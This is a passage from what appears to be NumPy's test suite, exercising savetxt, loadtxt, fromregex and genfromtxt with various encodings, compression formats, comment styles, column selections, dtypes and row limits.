a[:] = re - 1.0j * im
c = BytesIO()
np.savetxt(c, a, fmt='%.3e')
c.seek(0)
lines = c.readlines()
assert_equal(
lines,
[b' (3.142e+00-2.718e+00j) (3.142e+00-2.718e+00j)\n',
b' (3.142e+00-2.718e+00j) (3.142e+00-2.718e+00j)\n'])
def test_custom_writer(self):
class CustomWriter(list):
def write(self, text):
self.extend(text.split(b'\n'))
w = CustomWriter()
a = np.array([(1, 2), (3, 4)])
np.savetxt(w, a)
b = np.loadtxt(w)
assert_array_equal(a, b)
def test_unicode(self):
utf8 = b'\xcf\x96'.decode('UTF-8')
a = np.array([utf8], dtype=np.unicode_)
with tempdir() as tmpdir:
# set encoding as on windows it may not be unicode even on py3
np.savetxt(os.path.join(tmpdir, 'test.csv'), a, fmt=['%s'],
encoding='UTF-8')
def test_unicode_roundtrip(self):
utf8 = b'\xcf\x96'.decode('UTF-8')
a = np.array([utf8], dtype=np.unicode_)
# our gz wrapper support encoding
suffixes = ['', '.gz']
# stdlib 2 versions do not support encoding
if MAJVER > 2:
if HAS_BZ2:
suffixes.append('.bz2')
if HAS_LZMA:
suffixes.extend(['.xz', '.lzma'])
with tempdir() as tmpdir:
for suffix in suffixes:
np.savetxt(os.path.join(tmpdir, 'test.csv' + suffix), a,
fmt=['%s'], encoding='UTF-16-LE')
b = np.loadtxt(os.path.join(tmpdir, 'test.csv' + suffix),
encoding='UTF-16-LE', dtype=np.unicode_)
assert_array_equal(a, b)
def test_unicode_bytestream(self):
utf8 = b'\xcf\x96'.decode('UTF-8')
a = np.array([utf8], dtype=np.unicode_)
s = BytesIO()
np.savetxt(s, a, fmt=['%s'], encoding='UTF-8')
s.seek(0)
assert_equal(s.read().decode('UTF-8'), utf8 + '\n')
def test_unicode_stringstream(self):
utf8 = b'\xcf\x96'.decode('UTF-8')
a = np.array([utf8], dtype=np.unicode_)
s = StringIO()
np.savetxt(s, a, fmt=['%s'], encoding='UTF-8')
s.seek(0)
assert_equal(s.read(), utf8 + '\n')
@pytest.mark.parametrize("fmt", [u"%f", b"%f"])
@pytest.mark.parametrize("iotype", [StringIO, BytesIO])
def test_unicode_and_bytes_fmt(self, fmt, iotype):
# string type of fmt should not matter, see also gh-4053
a = np.array([1.])
s = iotype()
np.savetxt(s, a, fmt=fmt)
s.seek(0)
if iotype is StringIO:
assert_equal(s.read(), u"%f\n" % 1.)
else:
assert_equal(s.read(), b"%f\n" % 1.)
@pytest.mark.skipif(sys.platform=='win32',
reason="large files cause problems")
@pytest.mark.slow
@requires_memory(free_bytes=7e9)
def test_large_zip(self):
# The test takes at least 6GB of memory, writes a file larger than 4GB
test_data = np.asarray([np.random.rand(np.random.randint(50,100),4)
for i in range(800000)])
with tempdir() as tmpdir:
np.savez(os.path.join(tmpdir, 'test.npz'), test_data=test_data)
class LoadTxtBase:
def check_compressed(self, fopen, suffixes):
# Test that we can load data from a compressed file
wanted = np.arange(6).reshape((2, 3))
linesep = ('\n', '\r\n', '\r')
for sep in linesep:
data = '0 1 2' + sep + '3 4 5'
for suffix in suffixes:
with temppath(suffix=suffix) as name:
with fopen(name, mode='wt', encoding='UTF-32-LE') as f:
f.write(data)
res = self.loadfunc(name, encoding='UTF-32-LE')
assert_array_equal(res, wanted)
with fopen(name, "rt", encoding='UTF-32-LE') as f:
res = self.loadfunc(f)
assert_array_equal(res, wanted)
# Python2 .open does not support encoding
@pytest.mark.skipif(MAJVER == 2, reason="Needs Python version >= 3")
def test_compressed_gzip(self):
self.check_compressed(gzip.open, ('.gz',))
@pytest.mark.skipif(not HAS_BZ2, reason="Needs bz2")
@pytest.mark.skipif(MAJVER == 2, reason="Needs Python version >= 3")
def test_compressed_bz2(self):
self.check_compressed(bz2.open, ('.bz2',))
@pytest.mark.skipif(not HAS_LZMA, reason="Needs lzma")
@pytest.mark.skipif(MAJVER == 2, reason="Needs Python version >= 3")
def test_compressed_lzma(self):
self.check_compressed(lzma.open, ('.xz', '.lzma'))
def test_encoding(self):
with temppath() as path:
with open(path, "wb") as f:
f.write('0.\n1.\n2.'.encode("UTF-16"))
x = self.loadfunc(path, encoding="UTF-16")
assert_array_equal(x, [0., 1., 2.])
def test_stringload(self):
# umlaute
nonascii = b'\xc3\xb6\xc3\xbc\xc3\xb6'.decode("UTF-8")
with temppath() as path:
with open(path, "wb") as f:
f.write(nonascii.encode("UTF-16"))
x = self.loadfunc(path, encoding="UTF-16", dtype=np.unicode_)
assert_array_equal(x, nonascii)
def test_binary_decode(self):
utf16 = b'\xff\xfeh\x04 \x00i\x04 \x00j\x04'
v = self.loadfunc(BytesIO(utf16), dtype=np.unicode_, encoding='UTF-16')
assert_array_equal(v, np.array(utf16.decode('UTF-16').split()))
def test_converters_decode(self):
# test converters that decode strings
c = TextIO()
c.write(b'\xcf\x96')
c.seek(0)
x = self.loadfunc(c, dtype=np.unicode_,
converters={0: lambda x: x.decode('UTF-8')})
a = np.array([b'\xcf\x96'.decode('UTF-8')])
assert_array_equal(x, a)
def test_converters_nodecode(self):
# test native string converters enabled by setting an encoding
utf8 = b'\xcf\x96'.decode('UTF-8')
with temppath() as path:
with io.open(path, 'wt', encoding='UTF-8') as f:
f.write(utf8)
x = self.loadfunc(path, dtype=np.unicode_,
converters={0: lambda x: x + 't'},
encoding='UTF-8')
a = np.array([utf8 + 't'])
assert_array_equal(x, a)
class TestLoadTxt(LoadTxtBase):
loadfunc = staticmethod(np.loadtxt)
def setup(self):
# lower chunksize for testing
self.orig_chunk = np.lib.npyio._loadtxt_chunksize
np.lib.npyio._loadtxt_chunksize = 1
def teardown(self):
np.lib.npyio._loadtxt_chunksize = self.orig_chunk
def test_record(self):
c = TextIO()
c.write('1 2\n3 4')
c.seek(0)
x = np.loadtxt(c, dtype=[('x', np.int32), ('y', np.int32)])
a = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
assert_array_equal(x, a)
d = TextIO()
d.write('M 64.0 75.0\nF 25.0 60.0')
d.seek(0)
mydescriptor = {'names': ('gender', 'age', 'weight'),
'formats': ('S1', 'i4', 'f4')}
b = np.array([('M', 64.0, 75.0),
('F', 25.0, 60.0)], dtype=mydescriptor)
y = np.loadtxt(d, dtype=mydescriptor)
assert_array_equal(y, b)
def test_array(self):
c = TextIO()
c.write('1 2\n3 4')
c.seek(0)
x = np.loadtxt(c, dtype=int)
a = np.array([[1, 2], [3, 4]], int)
assert_array_equal(x, a)
c.seek(0)
x = np.loadtxt(c, dtype=float)
a = np.array([[1, 2], [3, 4]], float)
assert_array_equal(x, a)
def test_1D(self):
c = TextIO()
c.write('1\n2\n3\n4\n')
c.seek(0)
x = np.loadtxt(c, dtype=int)
a = np.array([1, 2, 3, 4], int)
assert_array_equal(x, a)
c = TextIO()
c.write('1,2,3,4\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',')
a = np.array([1, 2, 3, 4], int)
assert_array_equal(x, a)
def test_missing(self):
c = TextIO()
c.write('1,2,3,,5\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
converters={3: lambda s: int(s or - 999)})
a = np.array([1, 2, 3, -999, 5], int)
assert_array_equal(x, a)
def test_converters_with_usecols(self):
c = TextIO()
c.write('1,2,3,,5\n6,7,8,9,10\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
converters={3: lambda s: int(s or - 999)},
usecols=(1, 3,))
a = np.array([[2, -999], [7, 9]], int)
assert_array_equal(x, a)
def test_comments_unicode(self):
c = TextIO()
c.write('# comment\n1,2,3,5\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
comments=u'#')
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
def test_comments_byte(self):
c = TextIO()
c.write('# comment\n1,2,3,5\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
comments=b'#')
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
def test_comments_multiple(self):
c = TextIO()
c.write('# comment\n1,2,3\n@ comment2\n4,5,6 // comment3')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
comments=['#', '@', '//'])
a = np.array([[1, 2, 3], [4, 5, 6]], int)
assert_array_equal(x, a)
def test_comments_multi_chars(self):
c = TextIO()
c.write('/* comment\n1,2,3,5\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
comments='/*')
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
# Check that '/*' is not transformed to ['/', '*']
c = TextIO()
c.write('*/ comment\n1,2,3,5\n')
c.seek(0)
assert_raises(ValueError, np.loadtxt, c, dtype=int, delimiter=',',
comments='/*')
def test_skiprows(self):
c = TextIO()
c.write('comment\n1,2,3,5\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
skiprows=1)
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
c = TextIO()
c.write('# comment\n1,2,3,5\n')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
skiprows=1)
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
def test_usecols(self):
a = np.array([[1, 2], [3, 4]], float)
c = BytesIO()
np.savetxt(c, a)
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=(1,))
assert_array_equal(x, a[:, 1])
a = np.array([[1, 2, 3], [3, 4, 5]], float)
c = BytesIO()
np.savetxt(c, a)
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=(1, 2))
assert_array_equal(x, a[:, 1:])
# Testing with arrays instead of tuples.
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=np.array([1, 2]))
assert_array_equal(x, a[:, 1:])
# Testing with an integer instead of a sequence
for int_type in [int, np.int8, np.int16,
np.int32, np.int64, np.uint8, np.uint16,
np.uint32, np.uint64]:
to_read = int_type(1)
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=to_read)
assert_array_equal(x, a[:, 1])
# Testing with some crazy custom integer type
class CrazyInt:
def __index__(self):
return 1
crazy_int = CrazyInt()
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=crazy_int)
assert_array_equal(x, a[:, 1])
c.seek(0)
x = np.loadtxt(c, dtype=float, usecols=(crazy_int,))
assert_array_equal(x, a[:, 1])
# Checking with dtypes defined converters.
data = '''JOE 70.1 25.3
BOB 60.5 27.9
'''
c = TextIO(data)
names = ['stid', 'temp']
dtypes = ['S4', 'f8']
arr = np.loadtxt(c, usecols=(0, 2), dtype=list(zip(names, dtypes)))
assert_equal(arr['stid'], [b"JOE", b"BOB"])
assert_equal(arr['temp'], [25.3, 27.9])
# Testing non-ints in usecols
c.seek(0)
bogus_idx = 1.5
assert_raises_regex(
TypeError,
'^usecols must be.*%s' % type(bogus_idx),
np.loadtxt, c, usecols=bogus_idx
)
assert_raises_regex(
TypeError,
'^usecols must be.*%s' % type(bogus_idx),
np.loadtxt, c, usecols=[0, bogus_idx, 0]
)
def test_fancy_dtype(self):
c = TextIO()
c.write('1,2,3.0\n4,5,6.0\n')
c.seek(0)
dt = np.dtype([('x', int), ('y', [('t', int), ('s', float)])])
x = np.loadtxt(c, dtype=dt, delimiter=',')
a = np.array([(1, (2, 3.0)), (4, (5, 6.0))], dt)
assert_array_equal(x, a)
def test_shaped_dtype(self):
c = TextIO("aaaa 1.0 8.0 1 2 3 4 5 6")
dt = np.dtype([('name', 'S4'), ('x', float), ('y', float),
('block', int, (2, 3))])
x = np.loadtxt(c, dtype=dt)
a = np.array([('aaaa', 1.0, 8.0, [[1, 2, 3], [4, 5, 6]])],
dtype=dt)
assert_array_equal(x, a)
def test_3d_shaped_dtype(self):
c = TextIO("aaaa 1.0 8.0 1 2 3 4 5 6 7 8 9 10 11 12")
dt = np.dtype([('name', 'S4'), ('x', float), ('y', float),
('block', int, (2, 2, 3))])
x = np.loadtxt(c, dtype=dt)
a = np.array([('aaaa', 1.0, 8.0,
[[[1, 2, 3], [4, 5, 6]], [[7, 8, 9], [10, 11, 12]]])],
dtype=dt)
assert_array_equal(x, a)
def test_str_dtype(self):
# see gh-8033
c = ["str1", "str2"]
for dt in (str, np.bytes_):
a = np.array(["str1", "str2"], dtype=dt)
x = np.loadtxt(c, dtype=dt)
assert_array_equal(x, a)
def test_empty_file(self):
with suppress_warnings() as sup:
sup.filter(message="loadtxt: Empty input file:")
c = TextIO()
x = np.loadtxt(c)
assert_equal(x.shape, (0,))
x = np.loadtxt(c, dtype=np.int64)
assert_equal(x.shape, (0,))
assert_(x.dtype == np.int64)
def test_unused_converter(self):
c = TextIO()
c.writelines(['1 21\n', '3 42\n'])
c.seek(0)
data = np.loadtxt(c, usecols=(1,),
converters={0: lambda s: int(s, 16)})
assert_array_equal(data, [21, 42])
c.seek(0)
data = np.loadtxt(c, usecols=(1,),
converters={1: lambda s: int(s, 16)})
assert_array_equal(data, [33, 66])
def test_dtype_with_object(self):
# Test using an explicit dtype with an object
data = """ 1; 2001-01-01
2; 2002-01-31 """
ndtype = [('idx', int), ('code', object)]
func = lambda s: strptime(s.strip(), "%Y-%m-%d")
converters = {1: func}
test = np.loadtxt(TextIO(data), delimiter=";", dtype=ndtype,
converters=converters)
control = np.array(
[(1, datetime(2001, 1, 1)), (2, datetime(2002, 1, 31))],
dtype=ndtype)
assert_equal(test, control)
def test_uint64_type(self):
tgt = (9223372043271415339, 9223372043271415853)
c = TextIO()
c.write("%s %s" % tgt)
c.seek(0)
res = np.loadtxt(c, dtype=np.uint64)
assert_equal(res, tgt)
def test_int64_type(self):
tgt = (-9223372036854775807, 9223372036854775807)
c = TextIO()
c.write("%s %s" % tgt)
c.seek(0)
res = np.loadtxt(c, dtype=np.int64)
assert_equal(res, tgt)
def test_from_float_hex(self):
# IEEE doubles and floats only, otherwise the float32
# conversion may fail.
tgt = np.logspace(-10, 10, 5).astype(np.float32)
tgt = np.hstack((tgt, -tgt)).astype(float)
inp = '\n'.join(map(float.hex, tgt))
c = TextIO()
c.write(inp)
for dt in [float, np.float32]:
c.seek(0)
res = np.loadtxt(c, dtype=dt)
assert_equal(res, tgt, err_msg="%s" % dt)
def test_from_complex(self):
tgt = (complex(1, 1), complex(1, -1))
c = TextIO()
c.write("%s %s" % tgt)
c.seek(0)
res = np.loadtxt(c, dtype=complex)
assert_equal(res, tgt)
def test_complex_misformatted(self):
# test for backward compatibility
# some complex formats used to generate x+-yj
a = np.zeros((2, 2), dtype=np.complex128)
re = np.pi
im = np.e
a[:] = re - 1.0j * im
c = BytesIO()
np.savetxt(c, a, fmt='%.16e')
c.seek(0)
txt = c.read()
c.seek(0)
# misformat the sign on the imaginary part, gh 7895
txt_bad = txt.replace(b'e+00-', b'e00+-')
assert_(txt_bad != txt)
c.write(txt_bad)
c.seek(0)
res = np.loadtxt(c, dtype=complex)
assert_equal(res, a)
def test_universal_newline(self):
with temppath() as name:
with open(name, 'w') as f:
f.write('1 21\r3 42\r')
data = np.loadtxt(name)
assert_array_equal(data, [[1, 21], [3, 42]])
def test_empty_field_after_tab(self):
c = TextIO()
c.write('1 \t2 \t3\tstart \n4\t5\t6\t \n7\t8\t9.5\t')
c.seek(0)
dt = {'names': ('x', 'y', 'z', 'comment'),
'formats': ('<i4', '<i4', '<f4', '|S8')}
x = np.loadtxt(c, dtype=dt, delimiter='\t')
a = np.array([b'start ', b' ', b''])
assert_array_equal(x['comment'], a)
def test_structure_unpack(self):
txt = TextIO("M 21 72\nF 35 58")
dt = {'names': ('a', 'b', 'c'), 'formats': ('|S1', '<i4', '<f4')}
a, b, c = np.loadtxt(txt, dtype=dt, unpack=True)
assert_(a.dtype.str == '|S1')
assert_(b.dtype.str == '<i4')
assert_(c.dtype.str == '<f4')
assert_array_equal(a, np.array([b'M', b'F']))
assert_array_equal(b, np.array([21, 35]))
assert_array_equal(c, np.array([72., 58.]))
def test_ndmin_keyword(self):
c = TextIO()
c.write('1,2,3\n4,5,6')
c.seek(0)
assert_raises(ValueError, np.loadtxt, c, ndmin=3)
c.seek(0)
assert_raises(ValueError, np.loadtxt, c, ndmin=1.5)
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',', ndmin=1)
a = np.array([[1, 2, 3], [4, 5, 6]])
assert_array_equal(x, a)
d = TextIO()
d.write('0,1,2')
d.seek(0)
x = np.loadtxt(d, dtype=int, delimiter=',', ndmin=2)
assert_(x.shape == (1, 3))
d.seek(0)
x = np.loadtxt(d, dtype=int, delimiter=',', ndmin=1)
assert_(x.shape == (3,))
d.seek(0)
x = np.loadtxt(d, dtype=int, delimiter=',', ndmin=0)
assert_(x.shape == (3,))
e = TextIO()
e.write('0\n1\n2')
e.seek(0)
x = np.loadtxt(e, dtype=int, delimiter=',', ndmin=2)
assert_(x.shape == (3, 1))
e.seek(0)
x = np.loadtxt(e, dtype=int, delimiter=',', ndmin=1)
assert_(x.shape == (3,))
e.seek(0)
x = np.loadtxt(e, dtype=int, delimiter=',', ndmin=0)
assert_(x.shape == (3,))
# Test ndmin kw with empty file.
with suppress_warnings() as sup:
sup.filter(message="loadtxt: Empty input file:")
f = TextIO()
assert_(np.loadtxt(f, ndmin=2).shape == (0, 1,))
assert_(np.loadtxt(f, ndmin=1).shape == (0,))
def test_generator_source(self):
def count():
for i in range(10):
yield "%d" % i
res = np.loadtxt(count())
assert_array_equal(res, np.arange(10))
def test_bad_line(self):
c = TextIO()
c.write('1 2 3\n4 5 6\n2 3')
c.seek(0)
# Check for exception and that exception contains line number
assert_raises_regex(ValueError, "3", np.loadtxt, c)
def test_none_as_string(self):
# gh-5155, None should work as string when format demands it
c = TextIO()
c.write('100,foo,200\n300,None,400')
c.seek(0)
dt = np.dtype([('x', int), ('a', 'S10'), ('y', int)])
np.loadtxt(c, delimiter=',', dtype=dt, comments=None) # Should succeed
@pytest.mark.skipif(locale.getpreferredencoding() == 'ANSI_X3.4-1968',
reason="Wrong preferred encoding")
def test_binary_load(self):
butf8 = b"5,6,7,\xc3\x95scarscar\n\r15,2,3,hello\n\r"\
b"20,2,3,\xc3\x95scar\n\r"
sutf8 = butf8.decode("UTF-8").replace("\r", "").splitlines()
with temppath() as path:
with open(path, "wb") as f:
f.write(butf8)
with open(path, "rb") as f:
x = np.loadtxt(f, encoding="UTF-8", dtype=np.unicode_)
assert_array_equal(x, sutf8)
# test broken latin1 conversion people now rely on
with open(path, "rb") as f:
x = np.loadtxt(f, encoding="UTF-8", dtype="S")
x = [b'5,6,7,\xc3\x95scarscar', b'15,2,3,hello', b'20,2,3,\xc3\x95scar']
assert_array_equal(x, np.array(x, dtype="S"))
def test_max_rows(self):
c = TextIO()
c.write('1,2,3,5\n4,5,7,8\n2,1,4,5')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
max_rows=1)
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
def test_max_rows_with_skiprows(self):
c = TextIO()
c.write('comments\n1,2,3,5\n4,5,7,8\n2,1,4,5')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
skiprows=1, max_rows=1)
a = np.array([1, 2, 3, 5], int)
assert_array_equal(x, a)
c = TextIO()
c.write('comment\n1,2,3,5\n4,5,7,8\n2,1,4,5')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
skiprows=1, max_rows=2)
a = np.array([[1, 2, 3, 5], [4, 5, 7, 8]], int)
assert_array_equal(x, a)
def test_max_rows_with_read_continuation(self):
c = TextIO()
c.write('1,2,3,5\n4,5,7,8\n2,1,4,5')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
max_rows=2)
a = np.array([[1, 2, 3, 5], [4, 5, 7, 8]], int)
assert_array_equal(x, a)
# test continuation
x = np.loadtxt(c, dtype=int, delimiter=',')
a = np.array([2,1,4,5], int)
assert_array_equal(x, a)
def test_max_rows_larger(self):
#test max_rows > num rows
c = TextIO()
c.write('comment\n1,2,3,5\n4,5,7,8\n2,1,4,5')
c.seek(0)
x = np.loadtxt(c, dtype=int, delimiter=',',
skiprows=1, max_rows=6)
a = np.array([[1, 2, 3, 5], [4, 5, 7, 8], [2, 1, 4, 5]], int)
assert_array_equal(x, a)
class Testfromregex:
def test_record(self):
c = TextIO()
c.write('1.312 foo\n1.534 bar\n4.444 qux')
c.seek(0)
dt = [('num', np.float64), ('val', 'S3')]
x = np.fromregex(c, r"([0-9.]+)\s+(...)", dt)
a = np.array([(1.312, 'foo'), (1.534, 'bar'), (4.444, 'qux')],
dtype=dt)
assert_array_equal(x, a)
def test_record_2(self):
c = TextIO()
c.write('1312 foo\n1534 bar\n4444 qux')
c.seek(0)
dt = [('num', np.int32), ('val', 'S3')]
x = np.fromregex(c, r"(\d+)\s+(...)", dt)
a = np.array([(1312, 'foo'), (1534, 'bar'), (4444, 'qux')],
dtype=dt)
assert_array_equal(x, a)
def test_record_3(self):
c = TextIO()
c.write('1312 foo\n1534 bar\n4444 qux')
c.seek(0)
dt = [('num', np.float64)]
x = np.fromregex(c, r"(\d+)\s+...", dt)
a = np.array([(1312,), (1534,), (4444,)], dtype=dt)
assert_array_equal(x, a)
def test_record_unicode(self):
utf8 = b'\xcf\x96'
with temppath() as path:
with open(path, 'wb') as f:
f.write(b'1.312 foo' + utf8 + b' \n1.534 bar\n4.444 qux')
dt = [('num', np.float64), ('val', 'U4')]
x = np.fromregex(path, r"(?u)([0-9.]+)\s+(\w+)", dt, encoding='UTF-8')
a = np.array([(1.312, 'foo' + utf8.decode('UTF-8')), (1.534, 'bar'),
(4.444, 'qux')], dtype=dt)
assert_array_equal(x, a)
regexp = re.compile(r"([0-9.]+)\s+(\w+)", re.UNICODE)
x = np.fromregex(path, regexp, dt, encoding='UTF-8')
assert_array_equal(x, a)
def test_compiled_bytes(self):
regexp = re.compile(b'(\\d)')
c = BytesIO(b'123')
dt = [('num', np.float64)]
a = np.array([1, 2, 3], dtype=dt)
x = np.fromregex(c, regexp, dt)
assert_array_equal(x, a)
#####--------------------------------------------------------------------------
class TestFromTxt(LoadTxtBase):
loadfunc = staticmethod(np.genfromtxt)
def test_record(self):
# Test w/ explicit dtype
data = TextIO('1 2\n3 4')
test = np.genfromtxt(data, dtype=[('x', np.int32), ('y', np.int32)])
control = np.array([(1, 2), (3, 4)], dtype=[('x', 'i4'), ('y', 'i4')])
assert_equal(test, control)
#
data = TextIO('M 64.0 75.0\nF 25.0 60.0')
descriptor = {'names': ('gender', 'age', 'weight'),
'formats': ('S1', 'i4', 'f4')}
control = np.array([('M', 64.0, 75.0), ('F', 25.0, 60.0)],
dtype=descriptor)
test = np.genfromtxt(data, dtype=descriptor)
assert_equal(test, control)
def test_array(self):
# Test outputting a standard ndarray
data = TextIO('1 2\n3 4')
control = np.array([[1, 2], [3, 4]], dtype=int)
test = np.genfromtxt(data, dtype=int)
assert_array_equal(test, control)
#
data.seek(0)
control = np.array([[1, 2], [3, 4]], dtype=float)
test = np.loadtxt(data, dtype=float)
assert_array_equal(test, control)
def test_1D(self):
# Test squeezing to 1D
control = np.array([1, 2, 3, 4], int)
#
data = TextIO('1\n2\n3\n4\n')
test = np.genfromtxt(data, dtype=int)
assert_array_equal(test, control)
#
data = TextIO('1,2,3,4\n')
test = np.genfromtxt(data, dtype=int, delimiter=',')
assert_array_equal(test, control)
def test_comments(self):
# Test the stripping of comments
control = np.array([1, 2, 3, 5], int)
# Comment on its own line
data = TextIO('# comment\n1,2,3,5\n')
test = np.genfromtxt(data, dtype=int, delimiter=',', comments='#')
assert_equal(test, control)
# Comment at the end of a line
data = TextIO('1,2,3,5# comment\n')
test = np.genfromtxt(data, dtype=int, delimiter=',', comments='#')
assert_equal(test, control)
def test_skiprows(self):
# Test row skipping
control = np.array([1, 2, 3, 5], int)
kwargs = dict(dtype=int, delimiter=',')
#
data = TextIO('comment\n1,2,3,5\n')
test = np.genfromtxt(data, skip_header=1, **kwargs)
assert_equal(test, control)
#
data = TextIO('# comment\n1,2,3,5\n')
test = np.loadtxt(data, skiprows=1, **kwargs)
assert_equal(test, control)
def test_skip_footer(self):
data = ["# %i" % i for i in range(1, 6)]
data.append("A, B, C")
data.extend(["%i,%3.1f,%03s" % (i, i, i) for i in range(51)])
data[-1] = "99,99"
kwargs = dict(delimiter=",", names=True, skip_header=5, skip_footer=10)
test = np.genfromtxt(TextIO("\n".join(data)), **kwargs)
ctrl = np.array([("%f" % i, "%f" % i, "%f" % i) for i in range(41)],
dtype=[(_, float) for _ in "ABC"])
assert_equal(test, ctrl)
def test_skip_footer_with_invalid(self):
with suppress_warnings() as sup:
sup.filter(ConversionWarning)
basestr = '1 1\n2 2\n3 3\n4 4\n5 \n6 \n7 \n'
# Footer too small to get rid of all invalid values
assert_raises(ValueError, np.genfromtxt,
TextIO(basestr), skip_footer=1)
# except ValueError:
# pass
a = np.genfromtxt(
TextIO(basestr), skip_footer=1, invalid_raise=False)
assert_equal(a, np.array([[1., 1.], [2., 2.], [3., 3.], [4., 4.]]))
#
a = np.genfromtxt(TextIO(basestr), skip_footer=3)
assert_equal(a, np.array([[1., 1.], [2., 2.], [3., 3.], [4., 4.]]))
#
basestr = '1 1\n2 \n3 3\n4 4\n5 \n6 6\n7 7\n'
a = np.genfromtxt(
TextIO(basestr), skip_footer=1, invalid_raise=False)
assert_equal(a, np.array([[1., 1.], [3., 3.], [4., 4.], [6., 6.]]))
a = np.genfromtxt(
TextIO(basestr), skip_footer=3, invalid_raise=False)
assert_equal(a, np.array([[1., 1.], [3., 3.], [4., 4.]]))
def test_header(self):
# Test retrieving a header
data = TextIO('gender age weight\nM 64.0 75.0\nF 25.0 60.0')
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(data, dtype=None, names=True)
assert_(w[0].category is np.VisibleDeprecationWarning)
control = {'gender': np.array([b'M', b'F']),
'age': np.array([64.0, 25.0]),
'weight': np.array([75.0, 60.0])}
assert_equal(test['gender'], control['gender'])
assert_equal(test['age'], control['age'])
assert_equal(test['weight'], control['weight'])
def test_auto_dtype(self):
# Test the automatic definition of the output dtype
data = TextIO('A 64 75.0 3+4j True\nBCD 25 60.0 5+6j False')
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(data, dtype=None)
assert_(w[0].category is np.VisibleDeprecationWarning)
control = [np.array([b'A', b'BCD']),
np.array([64, 25]),
np.array([75.0, 60.0]),
np.array([3 + 4j, 5 + 6j]),
np.array([True, False]), ]
assert_equal(test.dtype.names, ['f0', 'f1', 'f2', 'f3', 'f4'])
for (i, ctrl) in enumerate(control):
assert_equal(test['f%i' % i], ctrl)
def test_auto_dtype_uniform(self):
# Tests whether the output dtype can be uniformized
data = TextIO('1 2 3 4\n5 6 7 8\n')
test = np.genfromtxt(data, dtype=None)
control = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])
assert_equal(test, control)
def test_fancy_dtype(self):
# Check that a nested dtype isn't MIA
data = TextIO('1,2,3.0\n4,5,6.0\n')
fancydtype = np.dtype([('x', int), ('y', [('t', int), ('s', float)])])
test = np.genfromtxt(data, dtype=fancydtype, delimiter=',')
control = np.array([(1, (2, 3.0)), (4, (5, 6.0))], dtype=fancydtype)
assert_equal(test, control)
def test_names_overwrite(self):
# Test overwriting the names of the dtype
descriptor = {'names': ('g', 'a', 'w'),
'formats': ('S1', 'i4', 'f4')}
data = TextIO(b'M 64.0 75.0\nF 25.0 60.0')
names = ('gender', 'age', 'weight')
test = np.genfromtxt(data, dtype=descriptor, names=names)
descriptor['names'] = names
control = np.array([('M', 64.0, 75.0),
('F', 25.0, 60.0)], dtype=descriptor)
assert_equal(test, control)
def test_commented_header(self):
# Check that names can be retrieved even if the line is commented out.
data = TextIO("""
#gender age weight
M 21 72.100000
F 35 58.330000
M 33 21.99
""")
# The # is part of the first name and should be deleted automatically.
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(data, names=True, dtype=None)
assert_(w[0].category is np.VisibleDeprecationWarning)
ctrl = np.array([('M', 21, 72.1), ('F', 35, 58.33), ('M', 33, 21.99)],
dtype=[('gender', '|S1'), ('age', int), ('weight', float)])
assert_equal(test, ctrl)
# Ditto, but we should get rid of the first element
data = TextIO(b"""
# gender age weight
M 21 72.100000
F 35 58.330000
M 33 21.99
""")
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(data, names=True, dtype=None)
assert_(w[0].category is np.VisibleDeprecationWarning)
assert_equal(test, ctrl)
def test_names_and_comments_none(self):
# Tests case when names is true but comments is None (gh-10780)
data = TextIO('col1 col2\n 1 2\n 3 4')
test = np.genfromtxt(data, dtype=(int, int), comments=None, names=True)
control = np.array([(1, 2), (3, 4)], dtype=[('col1', int), ('col2', int)])
assert_equal(test, control)
def test_file_is_closed_on_error(self):
# gh-13200
with tempdir() as tmpdir:
fpath = os.path.join(tmpdir, "test.csv")
with open(fpath, "wb") as f:
f.write(u'\N{GREEK PI SYMBOL}'.encode('utf8'))
# ResourceWarnings are emitted from a destructor, so won't be
# detected by regular propagation to errors.
with assert_no_warnings():
with pytest.raises(UnicodeDecodeError):
np.genfromtxt(fpath, encoding="ascii")
def test_autonames_and_usecols(self):
# Tests names and usecols
data = TextIO('A B C D\n aaaa 121 45 9.1')
with warnings.catch_warnings(record=True) as w:
warnings.filterwarnings('always', '', np.VisibleDeprecationWarning)
test = np.genfromtxt(data, usecols=('A', 'C', 'D'),
names=True, dtype=None)
assert_(w[0].category is np.VisibleDeprecationWarning)
control = np.array(('aaaa', 45, 9.1),
dtype=[('A', '|S4'), ('C', int), ('D', float)])
assert_equal(test, control)
def test_converters_with_usecols(self):
# Test the combination user-defined converters and usecol
